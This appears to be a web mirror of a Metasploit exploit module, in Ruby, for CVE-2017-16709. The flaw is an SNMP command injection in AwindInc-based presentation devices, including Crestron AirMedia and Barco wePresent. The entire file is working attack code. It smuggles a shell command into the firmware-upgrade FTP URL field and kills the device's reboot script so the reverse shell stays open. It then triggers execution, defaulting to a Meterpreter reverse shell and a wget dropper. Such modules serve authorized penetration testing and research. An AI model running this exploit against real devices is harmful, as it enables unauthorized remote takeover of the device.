Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::SNMPClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "AwindInc SNMP Service Command Injection",
17
'Description' => %q{
18
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
19
A valid SNMP read-write community is required to exploit this vulnerability.
20
21
The following devices are known to be affected by this issue:
22
23
* Crestron Airmedia AM-100 <= version 1.5.0.4
24
* Crestron Airmedia AM-101 <= version 2.5.0.12
25
* Awind WiPG-1600w <= version 2.0.1.8
26
* Awind WiPG-2000d <= version 2.1.6.2
27
* Barco wePresent 2000 <= version 2.1.5.7
28
* Newline Trucast 2 <= version 2.1.0.5
29
* Newline Trucast 3 <= version 2.1.3.7
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
34
],
35
'References' => [
36
['CVE', '2017-16709'],
37
['URL', 'https://github.com/QKaiser/awind-research'],
38
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
39
],
40
'DisclosureDate' => '2019-03-27',
41
'Platform' => ['unix', 'linux'],
42
'Arch' => [ARCH_CMD, ARCH_ARMLE],
43
'Privileged' => true,
44
'Targets' => [
45
[
46
'Unix In-Memory',
47
'Platform' => 'unix',
48
'Arch' => ARCH_CMD,
49
'Type' => :unix_memory,
50
'Payload' => {
51
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl' }
52
}
53
],
54
[
55
'Linux Dropper',
56
'Platform' => 'linux',
57
'Arch' => ARCH_ARMLE,
58
'CmdStagerFlavor' => %w[wget],
59
'Type' => :linux_dropper
60
]
61
],
62
'DefaultTarget' => 1,
63
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' },
64
'Notes' => {
65
'Reliability' => UNKNOWN_RELIABILITY,
66
'Stability' => UNKNOWN_STABILITY,
67
'SideEffects' => UNKNOWN_SIDE_EFFECTS
68
}
69
)
70
)
71
72
register_options(
73
[
74
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
75
]
76
)
77
end
78
79
def check
80
begin
81
connect_snmp
82
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
83
print_status("Target system is #{sys_description}")
84
# AM-100 and AM-101 considered EOL, no fix so no need to check version.
85
model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
86
case model
87
when 'AM-100', 'AM-101'
88
return CheckCode::Vulnerable
89
else
90
# TODO: insert description check for other vulnerable models (that I don't have)
91
# In the meantime, we return 'safe'.
92
return CheckCode::Safe
93
end
94
rescue SNMP::RequestTimeout
95
print_error("#{ip} SNMP request timeout.")
96
rescue Rex::ConnectionError
97
print_error("#{ip} Connection refused.")
98
rescue SNMP::UnsupportedVersion
99
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
100
rescue ::Interrupt
101
raise $!
102
rescue ::Exception => e
103
print_error("Unknown error: #{e.class} #{e}")
104
ensure
105
disconnect_snmp
106
end
107
Exploit::CheckCode::Unknown
108
end
109
110
def inject_payload(cmd)
111
begin
112
connect_snmp
113
varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 1, 0], SNMP::OctetString.new(cmd))
114
resp = snmp.set(varbind)
115
if resp.error_status == :noError
116
print_status("Injection successful")
117
else
118
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
119
end
120
rescue SNMP::RequestTimeout
121
print_error("#{ip} SNMP request timeout.")
122
rescue Rex::ConnectionError
123
print_error("#{ip} Connection refused.")
124
rescue SNMP::UnsupportedVersion
125
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
126
rescue ::Interrupt
127
raise $!
128
rescue ::Exception => e
129
print_error("Unknown error: #{e.class} #{e}")
130
ensure
131
disconnect_snmp
132
end
133
end
134
135
def trigger
136
begin
137
connect_snmp
138
varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 5, 0], SNMP::Integer32.new(1))
139
resp = snmp.set(varbind)
140
if resp.error_status == :noError
141
print_status("Trigger successful")
142
else
143
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
144
end
145
rescue SNMP::RequestTimeout
146
print_error("#{ip} SNMP request timeout.")
147
rescue Rex::ConnectionError
148
print_error("#{ip} Connection refused.")
149
rescue SNMP::UnsupportedVersion
150
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
151
rescue ::Interrupt
152
raise $!
153
rescue ::Exception => e
154
print_error("Unknown error: #{e.class} #{e}")
155
ensure
156
disconnect_snmp
157
end
158
end
159
160
def exploit
161
case target['Type']
162
when :unix_memory
163
execute_command(payload.encoded)
164
when :linux_dropper
165
execute_cmdstager
166
end
167
end
168
169
def execute_command(cmd, opts = {})
170
# The payload must start with a valid FTP URI otherwise the injection point is not reached
171
cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"
172
173
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
174
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
175
# keep our reverse shell opened :)
176
cmd << "$(pkill -f /etc/reboot.sh)"
177
178
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
179
cmd << "A" * (255 - cmd.length)
180
181
# we inject our payload in camFWUpgradeFTPURL
182
print_status("Injecting payload")
183
inject_payload(cmd)
184
185
# we trigger the firmware download via FTP, which will end up calling this
186
# "/bin/getRemoteURL.sh %s %s %s %d"
187
print_status("Triggering call")
188
trigger
189
end
190
end
191
192